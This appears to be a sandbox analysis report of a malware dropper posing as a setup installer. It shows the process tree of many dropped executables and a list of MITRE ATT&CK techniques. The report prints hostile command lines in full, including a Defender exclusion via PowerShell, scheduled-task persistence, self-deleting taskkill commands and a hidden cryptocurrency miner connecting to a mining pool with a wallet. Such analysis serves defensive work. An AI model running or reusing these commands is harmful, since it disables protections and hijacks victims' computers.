PID 760 wrote to memory of 1816	760	setup_install.exe	33
PID 760 wrote to memory of 1816	760	setup_install.exe	33
PID 760 wrote to memory of 1816	760	setup_install.exe	33
PID 760 wrote to memory of 1816	760	setup_install.exe	33
PID 760 wrote to memory of 1816	760	setup_install.exe	33
PID 760 wrote to memory of 1816	760	setup_install.exe	33
PID 760 wrote to memory of 1136	760	setup_install.exe	32
PID 760 wrote to memory of 1136	760	setup_install.exe	32
PID 760 wrote to memory of 1136	760	setup_install.exe	32
PID 760 wrote to memory of 1136	760	setup_install.exe	32
PID 760 wrote to memory of 1136	760	setup_install.exe	32
PID 760 wrote to memory of 1136	760	setup_install.exe	32
PID 760 wrote to memory of 1136	760	setup_install.exe	32
PID 760 wrote to memory of 1020	760	setup_install.exe	37
PID 760 wrote to memory of 1020	760	setup_install.exe	37
PID 760 wrote to memory of 1020	760	setup_install.exe	37
PID 760 wrote to memory of 1020	760	setup_install.exe	37
PID 760 wrote to memory of 1020	760	setup_install.exe	37
PID 760 wrote to memory of 1020	760	setup_install.exe	37
PID 760 wrote to memory of 1020	760	setup_install.exe	37
PID 572 wrote to memory of 1076	572	cmd.exe	38
PID 572 wrote to memory of 1076	572	cmd.exe	38
PID 572 wrote to memory of 1076	572	cmd.exe	38
PID 572 wrote to memory of 1076	572	cmd.exe	38
PID 572 wrote to memory of 1076	572	cmd.exe	38
PID 572 wrote to memory of 1076	572	cmd.exe	38
PID 572 wrote to memory of 1076	572	cmd.exe	38
PID 760 wrote to memory of 932	760	setup_install.exe	39

C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe
"C:\Users\Admin\AppData\Local\Temp\setup_x86_x64_install.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1912
- C:\Users\Admin\AppData\Local\Temp\setup_installer.exe
  "C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1656
- - C:\Users\Admin\AppData\Local\Temp\7zS876BF844\setup_install.exe
    "C:\Users\Admin\AppData\Local\Temp\7zS876BF844\setup_install.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:760
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri156ec98815f89c.exe
      4⤵
      Loads dropped DLL
      PID:392
    - - C:\Users\Admin\AppData\Local\Temp\7zS876BF844\Fri156ec98815f89c.exe
        
        Fri156ec98815f89c.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:1596
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri155442fc38b.exe
      4⤵
      Loads dropped DLL
      PID:1136
    - - C:\Users\Admin\AppData\Local\Temp\7zS876BF844\Fri155442fc38b.exe
        
        Fri155442fc38b.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1884
      - C:\Users\Admin\AppData\Roaming\3797853.exe
        
        "C:\Users\Admin\AppData\Roaming\3797853.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1400
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 1400 -s 1256
        7⤵
        Program crash
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:2296
      - C:\Users\Admin\AppData\Roaming\4608858.exe
        
        "C:\Users\Admin\AppData\Roaming\4608858.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        Adds Run key to start application
        
        PID:544
        
        C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe
        
        "C:\Users\Admin\AppData\Roaming\WinHost\WinHoster.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2280
      - C:\Users\Admin\AppData\Roaming\1206160.exe
        
        "C:\Users\Admin\AppData\Roaming\1206160.exe"
        6⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2656
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2656 -s 620
        7⤵
        Program crash
        Suspicious behavior: GetForegroundWindowSpam
        Suspicious use of AdjustPrivilegeToken
        
        PID:2704
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri157e25afd971.exe
      4⤵
      Loads dropped DLL
      PID:1816
    - - C:\Users\Admin\AppData\Local\Temp\7zS876BF844\Fri157e25afd971.exe
        
        Fri157e25afd971.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:796
      - C:\Users\Admin\AppData\Local\Temp\is-UMC8R.tmp\Fri157e25afd971.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-UMC8R.tmp\Fri157e25afd971.tmp" /SL5="$60130,506086,422400,C:\Users\Admin\AppData\Local\Temp\7zS876BF844\Fri157e25afd971.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:872
        
        C:\Users\Admin\AppData\Local\Temp\is-UTMH6.tmp\zab2our.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-UTMH6.tmp\zab2our.exe" /S /UID=burnerch2
        7⤵
        Drops file in Drivers directory
        Executes dropped EXE
        Adds Run key to start application
        Drops file in Program Files directory
        
        PID:520
        
        C:\Program Files\Microsoft Office\SWKEJSMQIO\ultramediaburner.exe
        
        "C:\Program Files\Microsoft Office\SWKEJSMQIO\ultramediaburner.exe" /VERYSILENT
        8⤵
        Executes dropped EXE
        
        PID:2540
        
        C:\Users\Admin\AppData\Local\Temp\is-3VIJ1.tmp\ultramediaburner.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-3VIJ1.tmp\ultramediaburner.tmp" /SL5="$101AE,281924,62464,C:\Program Files\Microsoft Office\SWKEJSMQIO\ultramediaburner.exe" /VERYSILENT
        9⤵
        Executes dropped EXE
        Drops file in Program Files directory
        Suspicious use of FindShellTrayWindow
        
        PID:2828
        
        C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
        
        "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
        10⤵
        Executes dropped EXE
        
        PID:2736
        
        C:\Users\Admin\AppData\Local\Temp\4b-258dc-edb-14b84-adc8b9263445e\ZHanyregini.exe
        
        "C:\Users\Admin\AppData\Local\Temp\4b-258dc-edb-14b84-adc8b9263445e\ZHanyregini.exe"
        8⤵
        Executes dropped EXE
        
        PID:1000
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/e2q8zu9hu?key=a971bbe4a40a7216a1a87d8f455f71e6
        9⤵
        Modifies Internet Explorer settings
        Suspicious use of FindShellTrayWindow
        Suspicious use of SetWindowsHookEx
        
        PID:912
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:912 CREDAT:275457 /prefetch:2
        10⤵
        Modifies Internet Explorer settings
        Suspicious use of SetWindowsHookEx
        
        PID:956
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:912 CREDAT:537613 /prefetch:2
        10⤵
        
        PID:3180
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:912 CREDAT:668688 /prefetch:2
        10⤵
        
        PID:4008
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:912 CREDAT:799765 /prefetch:2
        10⤵
        
        PID:4044
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:912 CREDAT:930850 /prefetch:2
        10⤵
        
        PID:3108
        
        C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
        
        "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:912 CREDAT:865310 /prefetch:2
        10⤵
        
        PID:3508
        
        C:\Windows\SysWOW64\verclsid.exe
        
        "C:\Windows\system32\verclsid.exe" /S /C {871C5380-42A0-1069-A2EA-08002B30309D} /I {000214E6-0000-0000-C000-000000000046} /X 0x401
        11⤵
        
        PID:1052
        
        C:\Program Files\Internet Explorer\iexplore.exe
        
        "C:\Program Files\Internet Explorer\iexplore.exe" https://www.profitabletrustednetwork.com/b1fsmdd9m?key=7e872dab99d78bffc4aa0c1e6b062dad
        9⤵
        
        PID:3120
        
        C:\Users\Admin\AppData\Local\Temp\e8-22baa-621-31d95-58f348a1c9248\Taepicysheti.exe
        
        "C:\Users\Admin\AppData\Local\Temp\e8-22baa-621-31d95-58f348a1c9248\Taepicysheti.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2264
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3by2eep3.4z1\GcleanerEU.exe /eufive & exit
        9⤵
        
        PID:2000
        
        C:\Users\Admin\AppData\Local\Temp\3by2eep3.4z1\GcleanerEU.exe
        
        C:\Users\Admin\AppData\Local\Temp\3by2eep3.4z1\GcleanerEU.exe /eufive
        10⤵
        
        PID:772
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "GcleanerEU.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\3by2eep3.4z1\GcleanerEU.exe" & exit
        11⤵
        
        PID:3236
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "GcleanerEU.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:1764
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mm4qrbuu.503\installer.exe /qn CAMPAIGN="654" & exit
        9⤵
        
        PID:1956
        
        C:\Users\Admin\AppData\Local\Temp\mm4qrbuu.503\installer.exe
        
        C:\Users\Admin\AppData\Local\Temp\mm4qrbuu.503\installer.exe /qn CAMPAIGN="654"
        10⤵
        
        PID:3000
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\AW Manager\Windows Manager 1.0.0\install\97FDF62\Windows Manager - Postback Y.msi" /qn CAMPAIGN=654 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\mm4qrbuu.503\installer.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\mm4qrbuu.503\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1630691715 /qn CAMPAIGN=""654"" " CAMPAIGN="654"
        11⤵
        
        PID:1580
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rar21wlz.piq\anyname.exe & exit
        9⤵
        
        PID:2092
        
        C:\Users\Admin\AppData\Local\Temp\rar21wlz.piq\anyname.exe
        
        C:\Users\Admin\AppData\Local\Temp\rar21wlz.piq\anyname.exe
        10⤵
        
        PID:1288
        
        C:\Users\Admin\AppData\Local\Temp\rar21wlz.piq\anyname.exe
        
        "C:\Users\Admin\AppData\Local\Temp\rar21wlz.piq\anyname.exe" -u
        11⤵
        
        PID:1588
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\zk5bul5v.xbd\gcleaner.exe /mixfive & exit
        9⤵
        
        PID:936
        
        C:\Users\Admin\AppData\Local\Temp\zk5bul5v.xbd\gcleaner.exe
        
        C:\Users\Admin\AppData\Local\Temp\zk5bul5v.xbd\gcleaner.exe /mixfive
        10⤵
        
        PID:2088
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "gcleaner.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\zk5bul5v.xbd\gcleaner.exe" & exit
        11⤵
        
        PID:3308
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "gcleaner.exe" /f
        12⤵
        Kills process with taskkill
        
        PID:3368
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\glibi25d.2bl\autosubplayer.exe /S & exit
        9⤵
        
        PID:2460
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri1544861ac3fe6a.exe
      4⤵
      Loads dropped DLL
      Suspicious use of WriteProcessMemory
      PID:572
    - - C:\Users\Admin\AppData\Local\Temp\7zS876BF844\Fri1544861ac3fe6a.exe
        
        Fri1544861ac3fe6a.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Modifies system certificate store
        Suspicious behavior: EnumeratesProcesses
        
        PID:1076
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Fri1544861ac3fe6a.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS876BF844\Fri1544861ac3fe6a.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:3068
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Fri1544861ac3fe6a.exe /f
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2168
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        7⤵
        Delays execution with timeout.exe
        
        PID:108
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"
      4⤵
      PID:328
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri15af75ee9b.exe
      4⤵
      Loads dropped DLL
      PID:1020
    - - C:\Users\Admin\AppData\Local\Temp\7zS876BF844\Fri15af75ee9b.exe
        
        Fri15af75ee9b.exe
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        Suspicious behavior: MapViewOfSection
        
        PID:1644
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c APPNAME7.exe
      4⤵
      PID:932
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Fri1553f0ee90.exe
      4⤵
      Loads dropped DLL
      PID:1300
    - - C:\Users\Admin\AppData\Local\Temp\7zS876BF844\Fri1553f0ee90.exe
        
        Fri1553f0ee90.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:1260
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:788
        
        C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2216
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        8⤵
        
        PID:2544
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        9⤵
        Creates scheduled task(s)
        
        PID:2624
        
        C:\Users\Admin\AppData\Roaming\services64.exe
        
        "C:\Users\Admin\AppData\Roaming\services64.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:1884
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
        9⤵
        
        PID:2464
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
        10⤵
        Creates scheduled task(s)
        
        PID:772
        
        C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
        
        "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
        9⤵
        Executes dropped EXE
        
        PID:852
        
        C:\Windows\explorer.exe
        
        C:\Windows\explorer.exe --cinit-find-x -B --algo=rx/0 --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=xmr-eu2.nanopool.org:14433 --user=41o1Bi5waqLgbkV653RD7zSYeXSWRu1wnEDzPgFDFwntSnuRx7g4HbHPqNDGS6BW1bget6yyHyrPbBcVsdR6Ebxd843bMuK.add/password --pass= --cpu-max-threads-hint=30 --cinit-remote-config="v4Qq47ngFyBcSyO2uLKc6O4DG/ZgkwoY7/pmBv4ks3wJ7PR9JPsLklOJLkitFc6Y" --cinit-idle-wait=5 --cinit-idle-cpu=70 --tls --cinit-stealth
        9⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1532
        
        C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe
        
        "C:\Users\Admin\AppData\Local\Temp\PublicDwlBrowser1100.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2252
        
        C:\Users\Admin\AppData\Roaming\4446421.exe
        
        "C:\Users\Admin\AppData\Roaming\4446421.exe"
        8⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2552
        
        C:\Windows\system32\WerFault.exe
        
        C:\Windows\system32\WerFault.exe -u -p 2552 -s 1740
        9⤵
        Program crash
        
        PID:2964
        
        C:\Users\Admin\AppData\Roaming\6056788.exe
        
        "C:\Users\Admin\AppData\Roaming\6056788.exe"
        8⤵
        Executes dropped EXE
        
        PID:2672
        
        C:\Users\Admin\AppData\Roaming\8232718.exe
        
        "C:\Users\Admin\AppData\Roaming\8232718.exe"
        8⤵
        Executes dropped EXE
        Checks BIOS information in registry
        Checks whether UAC is enabled
        Suspicious use of NtSetInformationThreadHideFromDebugger
        Suspicious use of AdjustPrivilegeToken
        
        PID:3020
        
        C:\Users\Admin\AppData\Roaming\8488991.exe
        
        "C:\Users\Admin\AppData\Roaming\8488991.exe"
        8⤵
        
        PID:2160
        
        C:\Users\Admin\AppData\Local\Temp\2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2328
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        8⤵
        Executes dropped EXE
        
        PID:2224
        
        C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        9⤵
        
        PID:3164
        
        C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2388
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "setup.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\setup.exe" & exit
        8⤵
        
        PID:2900
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "setup.exe" /f
        9⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:2952
        
        C:\Users\Admin\AppData\Local\Temp\Pubdate.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Pubdate.exe"
        7⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2500
        
        C:\Users\Admin\AppData\Local\Temp\setup_2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        7⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:2532
        
        C:\Users\Admin\AppData\Local\Temp\is-2OB5O.tmp\setup_2.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-2OB5O.tmp\setup_2.tmp" /SL5="$2017C,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup_2.exe"
        8⤵
        Executes dropped EXE
        
        PID:2632
        
        C:\Users\Admin\AppData\Local\Temp\3002.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3002.exe"
        7⤵
        Executes dropped EXE
        
        PID:2592
        
        C:\Users\Admin\AppData\Local\Temp\jhuuee.exe
        
        "C:\Users\Admin\AppData\Local\Temp\jhuuee.exe"
        7⤵
        Executes dropped EXE
        
        PID:2696
        
        C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe
        
        "C:\Users\Admin\AppData\Local\Temp\BearVpn 3.exe"
        7⤵
        Executes dropped EXE
        Modifies system certificate store
        Suspicious use of AdjustPrivilegeToken
        
        PID:2800

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:2036
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  - Loads dropped DLL
  PID:1780

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:3136
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
  2⤵
  PID:3148

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:3392
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding A77D9F271B15FCB23C4A85C2DC74C017 C
  2⤵
  PID:3636
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 85F6005F05209115B6F9FCC9C4C0A724
  2⤵
  PID:3700

C:\Users\Admin\AppData\Local\Temp\F3D.exe
C:\Users\Admin\AppData\Local\Temp\F3D.exe
1⤵
PID:3336

C:\Users\Admin\AppData\Local\Temp\5D0F.exe
C:\Users\Admin\AppData\Local\Temp\5D0F.exe
1⤵
PID:1744

C:\Users\Admin\AppData\Local\Temp\B637.exe
C:\Users\Admin\AppData\Local\Temp\B637.exe
1⤵
PID:3964

C:\Users\Admin\AppData\Local\Temp\F431.exe
C:\Users\Admin\AppData\Local\Temp\F431.exe
1⤵
PID:3420

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

Persistence

Registry Run Keys / Startup Folder

T1060

Scheduled Task

Privilege Escalation

Scheduled Task

Defense Evasion

Install Root Certificate

T1130

Modify Registry

Virtualization/Sandbox Evasion

T1497

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery